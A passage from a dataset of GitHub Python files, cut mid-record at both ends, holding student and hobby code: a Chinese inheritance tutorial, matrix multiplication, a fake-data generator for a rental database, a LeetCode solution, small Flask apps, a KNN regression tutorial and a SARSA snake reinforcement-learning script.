weights[key] = weights[key].tolist()\n with open(os.path.join(dir, 'model.json'), 'w') as out_file:\n json.dump(weights, out_file, sort_keys=True, indent=4)\n\n\ndef generate_samples(model, num_samples=16):\n result = []\n for i in range(num_samples):\n input_sample = np.sin(np.linspace(0, np.random.geometric(0.05), 32))\n result.append({'input': input_sample, 'output': model.predict(np.reshape(input_sample, (1, -1, 1)))})\n return result\n","repo_name":"malyvsen/bearing-fault-detection","sub_path":"bearing-fault-detection/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"82"} +{"seq_id":"20039856501","text":"class Animal:\n \"\"\"动物类(父类)\"\"\"\n def __init__(self):\n \"\"\"初始化方法\"\"\"\n self.name = \"动物\"\n self.age = 2\n\n def eat(self):\n \"\"\"吃方法\"\"\"\n print(\"%s 都爱吃\" % self.name)\n\nclass Cat(Animal): #单继承 子类(父类)\n \"\"\"猫类\"\"\"\n def catch(self):\n \"\"\"抓老鼠方法\"\"\"\n print(\"猫捉老鼠\")\n\n# 使用父类模板创建对象\nanimal = Animal()\n# 父类的对象可以访问自己的属性\nprint(animal.name)\n# 父类的对象可以调用自己的方法\nanimal.eat()\n# 父类对象无法调用子类的方法,也不能访问子类的属性\n# animal.catch()\n\nprint(\"-\"*50)\n# 使用子类模板创建对象\ntom = Cat()\n# 子类对象可以访问父类的属性\nprint(tom.name)\nprint(tom.age)\n# 子类对象可以调用父类的方法\ntom.eat()\n\n# 继承不是复制\n# 访问子类属性时,先到子类中查找\n# 子类中没有该属性,则去父类中查找","repo_name":"hexinyu1900/LearnPython","sub_path":"day10/01 单继承.py","file_name":"01 单继承.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"11683438753","text":" \ndef matrixMult(matrix1,matrix2):\n '''\n Multiplies two matrices together without numpy.\n Matrices are formatted as lists of lists.\n '''\n\n r1 = len(matrix1)\n c1 = len(matrix1[0])\n r2 = len(matrix2)\n c2 = len(matrix2[0])\n answerList = []\n\n for i in range(r1):\n for j in range(c2):\n s = 0\n for k in range(c1):\n s = s + matrix1[i][k] * matrix2[k][j]\n answerList.append(s)\n answerList = answerList[1::2]\n\n answerMatrix = []\n for i in range(max(r1,c1,r2,c2)):\n row = answerList[i*c1:(i+1)*c1]\n answerMatrix.append(row)\n\n if r1 != c2:\n raise ValueError('Incompatible matrix dimensions')\n else:\n return answerMatrix\n\n","repo_name":"whimsicallyson/choleskiDecomposition","sub_path":"matrixMult.py","file_name":"matrixMult.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43542816984","text":"import csv\nimport string\nimport random\nfrom randomtimestamp import randomtimestamp, random_date, random_time\n\n\n## general functions\ndef random_national_code_generator():\n length = 10\n letters = string.digits\n result_str = ''.join(random.choice(letters) for i in range(length))\n return result_str\n\n\ndef random_name_generator():\n length = random.randint(1, 15)\n letters = string.ascii_letters\n result_str = ''.join(random.choice(letters) for i in range(length))\n return result_str\n\n\ndef random_text_generator():\n length = random.randint(10, 100)\n letters = string.ascii_letters\n result_str = ''.join(random.choice(letters) for i in range(length))\n return result_str\n\n\ndef random_phone_generator():\n length = 9\n letters = string.digits\n result_str = ''.join(random.choice(letters) for i in range(length))\n result_str = '09' + result_str\n return result_str\n\n\n## HOST\nfilename = 'host.csv'\nheader = ['national_code', 'national_card_picture', 'verified', 'personal_information']\nhost = []\ncount = 10000\nfor i in range(count):\n nc = random_national_code_generator()\n if nc in [i[0] for i in host]:\n continue\n temp = [nc, list(random.randbytes(100)), random.choice([True, False]),\n (random_name_generator(), random_name_generator(), random_name_generator())]\n host.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(host)\nprint(\"1 ended\")\n\n## GUEST\nfilename = 'guest.csv'\nheader = ['national_code', 'phone', 'personal_information']\nguest = []\ncount = 10000\nfor i in range(count):\n nc = random_national_code_generator()\n if nc in [i[0] for i in guest]:\n continue\n temp = [nc, random_phone_generator(), (random_name_generator(), random_name_generator(), random_name_generator())]\n guest.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(guest)\nprint(\"2 ended\")\n\n## RESIDENCE\nfilename = 'residence.csv'\nheader = ['residence_id', 'host_id', 'arrival_time', 'departure_time', 'repair_fee_per_rent',\n 'base_price', 'max_capacity', 'number_of_rooms', 'area', 'residence_type', 'accepted', 'ownership_document',\n 'TITLE']\nresidence = []\ncount = 5000\nid = 1\nfor i in range(count):\n temp = [id, random.choice([i[0] for i in host]), random_time(), random_time(),\n round(random.uniform(0.00, 1000.00), 2)\n , round(random.uniform(0.00, 1000.00), 2), random.randint(1, 10), random.randint(0, 4),\n round(random.uniform(0.00, 1000.00), 2)\n , random.choice(['APARTMENT', 'VILLA', 'HOTEL', 'ECOTOURISM']), random.choice([True, False]),\n (random_name_generator(), random.randint(0, 1 << 80)), random_name_generator()]\n id += 1\n residence.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(residence)\nprint(\"3 ended\")\n\n## NON_RENTABLE_PERIOD\nfilename = 'non_rentalbe_period.csv'\nheader = ['BEGIN', 'END', 'residence_id']\nnon_rentable_period = []\ncount = 5000\nfor i in range(count):\n temp = [random_date(), random_date(), random.choice([i[0] for i in residence])]\n non_rentable_period.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(non_rentable_period)\nprint(\"4 ended\")\n\n## DISCOUNTED_PERIOD\nfilename = 'discounted_period.csv'\nheader = ['BEGIN', 'END', 'residence_id', 'discount_percent']\ndiscounted_period = []\ncount = 5000\nfor i in range(count):\n p = round(random.uniform(0.01, 10.00), 2)\n if p == 1.00:\n continue\n temp = [random_date(), random_date(), random.choice([i[0] for i in residence]), p]\n discounted_period.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(discounted_period)\nprint(\"5 ended\")\n\n## MESSAGE\nfilename = 'message.csv'\nheader = ['host_id', 'guest_id', 'ID', 'TEXT', 'TIME', 'direction']\nmessage = []\ncount = 50000\nid = 1\nfor i in range(count):\n temp = [random.choice([i[0] for i in host]), random.choice([i[0] for i in guest]), id, random_name_generator(),\n randomtimestamp(), random.choice(['TO GUEST', 'TO HOST'])]\n id += 1\n message.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(message)\nprint(\"6 ended\")\n\n## PICTURES\nfilename = 'pictures.csv'\nheader = ['image_id', 'image', 'residence_id']\npictures = []\nfor i in range(len(residence)):\n c = random.randint(0, 5)\n for j in range(c):\n temp = [j + 1, (random_name_generator(), random.randint(0, 1 << 80)), residence[i][0]]\n pictures.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(pictures)\nprint(\"7 ended\")\n\n## BEDS\nfilename = 'beds.csv'\nheader = ['residence_id', 'capacity', 'number_of_beds']\nbeds = []\ncount = 5000\npk_check = []\nfor i in range(count):\n rid = random.choice([i[0] for i in residence])\n cap = random.randint(1, 4)\n if (rid, cap) in pk_check:\n continue\n pk_check.append((rid, cap))\n temp = [rid, cap, random.randint(1, 5)]\n beds.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(beds)\nprint(\"8 ended\")\n\n## AMENITIES\nfilename = 'amenities.csv'\nheader = ['amenity', 'residence_id', 'COMMENT']\namenities = []\ncount = 50000\npk_check = []\nfor i in range(count):\n rid = random.choice([i[0] for i in residence])\n am = random.choice(['KITCHENWARE', 'INTERNET', 'WASHING MACHINE', 'PARKING'])\n if (rid, am) in pk_check:\n continue\n pk_check.append((rid, am))\n temp = [am, rid, random_name_generator()]\n amenities.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(amenities)\nprint(\"9 ended\")\n\n## CANCELLATION_POLICIES\nfilename = 'cancellation_policies.csv'\nheader = ['TYPE', 'penalty', 'COMMENT', 'residence_id']\ncancellation_policies = []\ncount = 5000\npk_check = []\nfor i in range(count):\n rid = random.choice([i[0] for i in residence])\n type = random_name_generator()\n if (type, rid) in pk_check:\n continue\n pk_check.append((type, rid))\n temp = [type, round(random.uniform(0.00, 1000.00), 2), random_name_generator(), rid]\n cancellation_policies.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(cancellation_policies)\nprint(\"10 ended\")\n\n## ADDRESS\nfilename = 'address.csv'\nheader = ['residence_id', 'LOCATION', 'TYPE', 'province', 'city', 'full_addres']\naddress = []\ncount = 5000\ncities = ['Tehran',\n 'Kashan',\n 'Mashhad',\n 'Esfahan',\n 'Karaj',\n 'Shiraz',\n 'Tabriz',\n 'Ahvaz',\n 'Qom',\n 'Kermanshah',\n 'Kerman',\n 'Orumiyeh',\n 'Rasht',\n 'Bahar',\n 'Zahedan',\n 'Hamadan',\n 'Yazd',\n 'Ardabil',\n 'Bandar Abbas',\n 'Arak',\n 'Eslamshahr',\n 'Zanjan',\n 'Sanandaj',\n 'Qazvin',\n 'Khoramabad',\n 'Madan',\n 'Gorgan',\n 'Shahriar',\n 'Shahre Qods',\n 'Malard',\n 'Sarta',\n 'Dezful',\n 'Babol',\n 'Qaem Shahr',\n 'Khomeyni Shahr',\n 'Sabzevar',\n 'Amol',\n 'Pakdasht',\n 'Najafabad',\n 'Borujerd'\n ]\nprovinces = ['Tehran',\n 'Esfahan',\n 'Khorasan-e Razavi',\n 'Esfahan',\n 'Alborz',\n 'Fars',\n 'azarbayjan-e Sharqi',\n 'Khuzestan',\n 'Qom',\n 'Kermanshah',\n 'Kerman',\n 'azarbayjan-e Gharbi',\n 'Gilan',\n 'Hamadan',\n 'Sistan va Baluchestan',\n 'Hamadan',\n 'Yazd',\n 'Ardabil',\n 'Hormozgan',\n 'Markazi',\n 'Tehran',\n 'Zanjan',\n 'Kordestan',\n 'Qazvin',\n 'Lorestan',\n 'Khuzestan',\n 'Golestan',\n 'Tehran',\n 'Tehran',\n 'Tehran',\n 'Mazandaran',\n 'Khuzestan',\n 'Mazandaran',\n 'Mazandaran',\n 'Esfahan',\n 'Khorasan-e Razavi',\n 'Mazandaran',\n 'Tehran',\n 'Esfahan',\n 'Lorestan']\nfor i in range(count):\n rid = residence[i][0]\n ind = random.randint(0, 39)\n temp = [rid, (random.uniform(0.00, 100.00), random.uniform(0.00, 100.00)), random.choice(['CITY', 'SUBURB']),\n provinces[ind], cities[ind],\n (random.randint(1, 200), random.randint(0, 200), random_name_generator(), random_name_generator())]\n address.append(temp)\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(address)\nprint(\"11 ended\")\n\n## Rent REQUEST\nfilename = 'rent_request.csv'\nheader = ['START_DATE', 'END_DATE', 'PEOPLE_COUNT', 'REQUEST_STATUS', 'GUEST_ID', 'RID']\nrent_request = []\nrent = []\ncount = 10000\nstatuses = ['Pending', 'Cancelled', 'Rejected', 'Accepted']\nfor _ in range(count):\n guest_id = random.choice([i[0] for i in guest])\n residence_id = random.choice([i[0] for i in residence])\n begin_date = random_date()\n end_date = random_date()\n\n while end_date < begin_date:\n end_date = random_date()\n\n people_count = random.randint(1, 5)\n status = random.choice(statuses)\n\n temp = [begin_date, end_date, people_count, status, guest_id, residence_id]\n repeat = False\n for rr in rent_request:\n if rr[4] == guest_id and rr[5] == residence_id and rr[0] == begin_date and rr[1] == end_date:\n repeat = True\n break\n if not repeat:\n if status == 'Accepted':\n price = round(random.uniform(0.00, 1000.00), 2)\n rent_status = random.choice(['Completed', 'Ongoing'])\n cancelation_penalty = round(random.uniform(0.00, 1000.00), 2)\n while cancelation_penalty > price:\n cancelation_penalty = round(random.uniform(0.00, 1000.00), 2)\n rent.append([price, rent_status, cancelation_penalty, begin_date, end_date, guest_id, residence_id])\n if status == 'Cancelled':\n price = round(random.uniform(0.00, 1000.00), 2)\n rent_status = 'Cancelled'\n cancelation_penalty = round(random.uniform(0.00, 1000.00), 2)\n while cancelation_penalty > price:\n cancelation_penalty = round(random.uniform(0.00, 1000.00), 2)\n rent.append([price, rent_status, cancelation_penalty, begin_date, end_date, guest_id, residence_id])\n rent_request.append(temp)\n\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(rent_request)\nprint(\"12 ended\")\n\n## RENT\nfilename = 'rent.csv'\nheader = ['PRICE', 'RENT_STATUS', 'CANCELATION_PENALTY', 'START_DATE', 'END_DATE', 'GUEST_ID', 'RID']\n\ncount = 5000\npk_check = []\nfor i in rent:\n tp = (i[3], i[4], i[5], i[6])\n if tp in pk_check:\n print(\"ERRORRRRRRR\")\n pk_check.append(tp)\n\nfor i in range(count):\n price = round(random.uniform(0.00, 1000.00), 2)\n rent_status = random.choice(['Completed', 'Ongoing'])\n cancelation_penalty = round(random.uniform(0.00, 1000.00), 2)\n while cancelation_penalty > price:\n cancelation_penalty = round(random.uniform(0.00, 1000.00), 2)\n random_valid_fk = random.choice(rent_request)\n\n fk_stat = random_valid_fk[3]\n if fk_stat == 'Cancelled':\n rent_status = 'Cancelled'\n if fk_stat == 'Pending':\n continue\n if fk_stat == 'Rejected':\n continue\n\n guest_id = random_valid_fk[4]\n residence_id = random_valid_fk[5]\n begin_date = random_valid_fk[0]\n end_date = random_valid_fk[1]\n\n fk = (begin_date, end_date, guest_id, residence_id)\n\n if fk in pk_check:\n continue\n pk_check.append(fk)\n temp = [price, rent_status, cancelation_penalty, begin_date, end_date, guest_id, residence_id]\n rent.append(temp)\n\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(rent)\nprint(\"13 ended\")\n\n# COMPLAINT\nfilename = 'complaint.csv'\nheader = ['COMPLAINT_ID', 'ACCEPTED', 'EXPLANATION', 'START_DATE', 'END_DATE', 'GUEST_ID', 'RID']\ncomplaint = []\ncount = 10000\ncomplaint_id = 1\n\nfor i in range(count):\n accepted = random.choice([True, False])\n explanation = random_text_generator()\n\n random_valid_fk = random.choice(rent)\n\n guest_id = random_valid_fk[5]\n residence_id = random_valid_fk[6]\n begin_date = random_valid_fk[3]\n end_date = random_valid_fk[4]\n\n temp = [complaint_id, accepted, explanation, begin_date, end_date, guest_id, residence_id]\n\n complaint.append(temp)\n complaint_id += 1\n\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(complaint)\nprint(\"14 ended\")\n\n# DAMAGE_REPORT\nfilename = 'damage_report.csv'\nheader = ['REPORT_ID', 'ACCEPTED', 'EXPLANATION', 'PENALTY', 'START_DATE', 'END_DATE', 'GUEST_ID', 'RID']\ndamage_report = []\ncount = 5000\ndamage_report_id = 1\npk_check = []\n\nfor i in range(count):\n accepted = random.choice([True, False])\n explanation = random_text_generator()\n penalty = round(random.uniform(0.00, 1000.00), 2)\n\n random_valid_fk = random.choice(rent)\n\n guest_id = random_valid_fk[5]\n residence_id = random_valid_fk[6]\n begin_date = random_valid_fk[3]\n end_date = random_valid_fk[4]\n\n fk = (begin_date, end_date, guest_id, residence_id)\n if fk in pk_check:\n continue\n pk_check.append(fk)\n\n temp = [damage_report_id, accepted, explanation, penalty, begin_date, end_date, guest_id, residence_id]\n\n damage_report.append(temp)\n damage_report_id += 1\n\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(damage_report)\nprint(\"15 ended\")\n\n# GUEST_COMMENT_ON_HOST\nfilename = 'guest_comment_on_host.csv'\nheader = ['SCORE', 'EXPLANATION', 'START_DATE', 'END_DATE', 'GUEST_ID', 'RID', 'SCORED_DATE']\nguest_comment_on_host = []\nref_rents = [l for l in set([(i[3], i[4], i[5], i[6]) for i in rent])]\ncount = 10000\n\nfor i in range(count):\n score = random.randint(0, 5)\n explanation = random_text_generator()\n if len(ref_rents) == 0:\n break\n ref_rent = random.choice(ref_rents)\n start_date = ref_rent[0]\n end_date = ref_rent[1]\n rid = ref_rent[3]\n guest_id = ref_rent[2]\n\n tmp_date = random_date()\n while tmp_date < end_date:\n tmp_date = random_date()\n\n temp = [score, explanation, start_date, end_date, guest_id, rid, tmp_date]\n repeat = False\n guest_comment_on_host.append(temp)\n ref_rents.remove(ref_rent)\n\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(guest_comment_on_host)\nprint(\"16 ended\")\n\n## HOST_COMMENT_ON_GUEST\nfilename = 'host_comment_on_guest.csv'\nheader = ['EXPLANATION', 'START_DATE', 'END_DATE', 'GUEST_ID', 'RID']\nhost_comment_on_guest = []\nref_rents = [l for l in set([(i[3], i[4], i[5], i[6]) for i in rent])]\ncount = 10000\n\nfor i in range(count):\n explanation = random_text_generator()\n if len(ref_rents) == 0:\n break\n ref_rent = random.choice(ref_rents)\n start_date = ref_rent[0]\n end_date = ref_rent[1]\n rid = ref_rent[3]\n guest_id = ref_rent[2]\n temp = [explanation, start_date, end_date, guest_id, rid]\n host_comment_on_guest.append(temp)\n ref_rents.remove(ref_rent)\n\nwith open(filename, 'w', newline=\"\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerow(header)\n csvwriter.writerows(host_comment_on_guest)\nprint(\"17 ended\")\n","repo_name":"aqaPayam/SQl_PROJECT","sub_path":"data_generator/fill_table.py","file_name":"fill_table.py","file_ext":"py","file_size_in_byte":16420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26935378376","text":"class Solution:\n def combinationSum2(self, candidates: List[int], target: int) -> List[List[int]]:\n final=[]\n def solve(index,tar,final,res):\n if tar==0:\n final.append(res.copy())\n return \n \n for i in range(index,len(candidates)):\n if i>index and candidates[i]==candidates[i-1]: continue\n if candidates[i]>tar: break\n res.append(candidates[i])\n solve(i+1,tar-candidates[i],final,res)\n res.pop()\n candidates.sort()\n solve(0,target,final,[])\n return final","repo_name":"Aditya8821/Leetcode","sub_path":"40-combination-sum-ii/40-combination-sum-ii.py","file_name":"40-combination-sum-ii.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71678690189","text":"from flask import Flask\nfrom ludis.schemas.sql import db\nfrom flask_migrate import Migrate\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///ludis/db.sqlite3'\n\nmigrate = Migrate()\ndb.init_app(app)\nmigrate.init_app(app, db)\n\nif __name__ == \"__main__\":\n\n app.run(debug=True)","repo_name":"Bluefin-Tuna/ludis-web-app","sub_path":"wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43276205792","text":"#Functions\r\ndef title():\r\n title = 'Hello'\r\n return title\r\n # print(title)\r\n\r\n\r\ndef artist():\r\n artist = 'Lionel Richie'\r\n return artist\r\n\r\n\r\ndef year():\r\n year = 1992\r\n return year\r\n\r\n\r\ndef genre():\r\n genre = 'Pop'\r\n if genre == 'Pop':\r\n return bool(genre)\r\n else:\r\n return genre\r\n\r\n# Call Functions\r\ntitle = title()\r\nartist = artist()\r\nyear = year()\r\ngenre = genre()\r\n\r\n#Print Values\r\nprint(title)\r\nprint(artist)\r\nprint(year)\r\nprint(genre)\r\n","repo_name":"gatchigat/PirplePythonHW2","sub_path":"Homework2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8082615602","text":"#!/usr/bin/env python\n# encoding: utf-8\nfrom flask import Flask, render_template\nfrom flask_socketio import SocketIO, emit\n\napp = Flask(__name__)\nsocketio = SocketIO(app)\n \n\n@app.route(\"/\")\ndef main():\n return render_template(\"index.html\")\n\n@socketio.on(\"play\")\ndef play(index):\n print(\"server received\", index)\n emit(\"play\", index, broadcast=True)\n\nif __name__ == \"__main__\":\n socketio.run(app,'0.0.0.0', debug=True)\n\n ","repo_name":"diegofernandesss/tic-tac-toe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73875007307","text":"import pandas as pd \nimport numpy as np\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.metrics import mean_squared_error\nfrom scipy.spatial.distance import euclidean\nfrom sklearn.preprocessing import StandardScaler\nsensus = {\n\t'tinggi' : [150, 170, 183, 191, 155, 163, 180, 158, 178],\n\t'jk' : ['pria', 'pria', 'pria', 'pria', 'wanita', 'wanita', 'wanita', 'wanita', 'wanita'],\n\t'berat' : [64, 86, 84, 80, 49, 59, 67, 54, 67]\n}\n\n\nsensus_df = pd.DataFrame(sensus)\nprint(sensus_df)\n\nx_train = np.array(sensus_df[['tinggi', 'jk']])\ny_train = np.array(sensus_df['berat'])\n\nprint(f'x_train : \\n {x_train} \\n')\nprint(f'y_train : \\n {y_train} \\n')\n\nx_train_transposed = np.transpose(x_train) # transpose mengubah posisi baris menjadi kolom (sebaliknya)\n\nprint(f'x_train : \\n {x_train} \\n')\nprint(f'x_train_transposed : \\n {x_train_transposed} \\n')\n\nlb = LabelBinarizer()\njk_binarised = lb.fit_transform(x_train_transposed[1])\n\nprint(f'jk : {x_train_transposed[1]}\\n')\nprint(f'jk_binarised : {jk_binarised}\\n')\n\njk_binarised = jk_binarised.flatten()\nprint(jk_binarised)\n\nx_train_transposed[1] = jk_binarised\nx_train = x_train_transposed.transpose()\n\nprint(f'x_train_transposed : \\n {x_train_transposed} \\n')\nprint(f'x_train : \\n {x_train} \\n')\n\nk = 3\nmodel = KNeighborsRegressor(n_neighbors = k)\nmodel.fit(x_train, y_train)\n\nx_new = np.array([[155, 1]])\nprint(x_new)\n\ny_pred = model.predict(x_new)\nprint(y_pred)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# ==== Mengatur Peforma ====\nx_test = np.array([[168, 0], [180, 0], [160, 1], [169, 1]])\ny_test = np.array([65, 96, 52, 67])\n\nprint(f'x_test : \\n {x_test} \\n')\nprint(f'y_test : \\n {y_test} \\n')\n\ny_pred = model.predict(x_test)\nprint(y_pred)\n\n# R kuadrat\nr_squared = r2_score(y_test, y_pred)\nprint(f'r_squared : {r_squared} \\n')\n\n# Mean Absolute Error (Deviation)\nMAE = mean_absolute_error(y_test, y_pred)\nprint(f'MAE : {MAE} \\n')\n\n# Mean Squared Error\nMSE = mean_squared_error(y_test, y_pred)\nprint(f'MSE : {MSE} \\n')\n\n\n\n\n\n# === PERMASALAHAN ===\nx_train = np.array([[1700, 0], [1600, 1]])\t# satuan tinggi (mm)\nx_new = np.array([[1640, 0]])\n\n[euclidean(x_new[0], d) for d in x_train]\n\n\nx_train = np.array([[1.7, 0], [1.6, 1]])\t# satuan tinggi (cm)\nx_new = np.array([[1.64, 0]])\n\n[euclidean(x_new[0], d) for d in x_train]\n\n\n\n\n# === Mengatasi Permasalahan ===\nss = StandardScaler()\n\n# tinggi mm\nx_train = np.array([[1700, 0], [1600,1]])\nx_train_scaled = ss.fit_transform(x_train)\nprint(f'x_train_scaled : \\n {x_train_scaled} \\n')\n\n\nx_new = np.array([[1640, 0]])\nx_new_scaled = ss.transform(x_new)\nprint(f'x_new_scaled : \\n {x_new_scaled} \\n')\n\njarak = [euclidean(x_new_scaled[0], d) for d in x_train_scaled]\nprint(f'jarak : {jarak} \\n')\n\n# tinggi m\nx_train = np.array([[1.7, 0], [1.6,1]])\nx_train_scaled = ss.fit_transform(x_train)\nprint(f'x_train_scaled : \\n {x_train_scaled} \\n')\n\n\nx_new = np.array([[1.64, 0]])\nx_new_scaled = ss.transform(x_new)\nprint(f'x_new_scaled : \\n {x_new_scaled} \\n')\n\njarak = [euclidean(x_new_scaled[0], d) for d in x_train_scaled]\nprint(f'jarak : {jarak} \\n')\n\n\n\n\nx_train = np.array([[158, 0], [170, 0], [183, 0], [191, 0], [155, 1], [163, 1], [180, 1], [158, 1], [170, 1]])\ny_train = np.array([64, 86, 84, 80, 49, 59, 67, 54, 67])\n\nx_test = np.array([[168, 0], [180, 0], [160, 0], [169, 1]])\ny_test = np.array([65, 96, 52, 67])\n\nx_train_scaled = ss.fit_transform(x_train)\nx_test_scaled = ss.transform(x_test)\n\nprint(f'x_train_scaled : \\n {x_train_scaled} \\n')\nprint(f'x_test_scaled : \\n {x_test_scaled} \\n')\nmodel.fit(x_train_scaled, y_train)\ny_pred = model.predict(x_test_scaled)\n\n\nMAE = mean_absolute_error(y_test, y_pred)\nMSE = mean_squared_error(y_test, y_pred)\nprint(f'MAE : {MAE}')\nprint(f'MSE : {MSE}')\n\n\n\"\"\"\n)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))\n)))))))))))))))))))))))))))) ANANG NUR PRASETYA ))))))))))))))))))))))))))))\n)))))))))))))))))))))))))))) 2021 ))))))))))))))))))))))))))))\n)))))))))))))))))))))))))))) Simple Machine Learning ))))))))))))))))))))))))))))\n)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))\n\"\"\"","repo_name":"Anangprasetya/Machine-Learning-Python3","sub_path":"SupervisedLearning/part-6-knn-regression.py","file_name":"part-6-knn-regression.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70762180110","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 6 10:10:35 2020\n\n@author: dell\n\"\"\"\nimport numpy as np\nimport pandas as pd\n\nfrom my_snake import eval_game, SnakeEnv, ModelFreeAgent, TableAgent\nfrom my_policy_iter import PolicyIteration\nfrom my_monte_carlo import MonteCarlo, timer\n\n#%%\nclass SARSA(ModelFreeAgent):\n def __init__(self, env, gamma=1, epsilon=0.0):\n super(SARSA,self).__init__(env)\n self.epsilon = epsilon\n self.env = env\n self.gamma = gamma\n\n def sarsa_eval(self ):\n state = self.env.reset()\n prev_state = -1\n prev_act = -1\n\n while True:\n act = self.play(state, self.epsilon)\n next_state, reward, terminate, info = self.env.step(act)\n next_act = self.play(next_state)\n if prev_state != -1:\n return_val = reward + self.gamma*(0 if terminate else self.value_q[next_state][next_act])\n self.value_n[state][act] += 1\n self.value_q[state][act] += (return_val - self.value_q[state][act]) / self.value_n[state][act]\n pass\n\n prev_state = state\n prev_act = act\n state = next_state\n\n if terminate:\n break\n\n def sarsa_improve(self):\n new_policy = np.zeros_like(self.pi)\n for state in range(1, self.state_num):\n new_policy[state] = np.argmax(self.value_q[state, :])\n\n if np.all(np.equal(new_policy, self.pi)):\n print(\"# update process has finished\")\n return False\n else:\n self.pi = new_policy\n print(\"# update process +1 \")\n return True\n\n def sarsa(self):\n for i in range(10):\n for j in range(2000):\n self.sarsa_eval()\n self.sarsa_improve()\n\n\n\n\n#%%\nif __name__ == \"__main__\":\n\n env = SnakeEnv(10, [3,6])\n agent_ref = PolicyIteration(env)\n agent_ref.policy_iteration()\n total_reward_ref = eval_game(env, agent_ref)\n print(agent_ref.pi)\n\n # env = SnakeEnv(10, [3,6])\n agent = SARSA(env, gamma=1, epsilon=0)\n agent.sarsa()\n total_reward = eval_game(env, agent)\n print(agent.pi)\n\n # env = SnakeEnv(10, [3,6])\n agent_2 = SARSA(env, gamma=.8, epsilon=0)\n agent_2.sarsa()\n total_reward_2 = eval_game(env, agent_2)\n print(agent_2.pi)\n\n#%%\nif __name__ == \"__main__\":\n \"\"\"\n 探索 total_reward 和 gamma 之间的关系\n gamma : 0~1\n epsilon : 0\n \"\"\"\n env = SnakeEnv(10, [3,6])\n\n agent_ref = PolicyIteration(env)\n agent_ref.policy_iteration()\n\n def get_sarsa(gamma, epsilon):\n print(\"-\"*10, gamma, \"-\"*10)\n agent = SARSA(env, gamma=gamma, epsilon=0)\n agent.sarsa()\n return agent\n\n ls_agent = [agent_ref] + [get_sarsa(gamma, epsilon=0) for gamma in np.arange(0, 1, 0.1)]\n ls_agent_name = [\"policy_iter_ref\"] +[\"sarsa_gamma_{}\".format(str(gamma)) for gamma in np.arange(0., 1.,0.1)]\n\n df_result = pd.DataFrame([])\n df_result[\"agent_name\"] = ls_agent_name\n df_result[\"agent\"] = ls_agent\n # df_result.loc[1:, \"agent\"].apply(lambda x: x.sarsa())\n df_result[\"reward_list\"] = df_result.apply(lambda x: [eval_game(env, x[\"agent\"]) for i in range(1000)],\n axis=1)\n df_result[\"reward_mean\"] = df_result[\"reward_list\"].apply(lambda x: np.mean(x))\n df_result[\"reward_std\"] = df_result[\"reward_list\"].apply(lambda x: 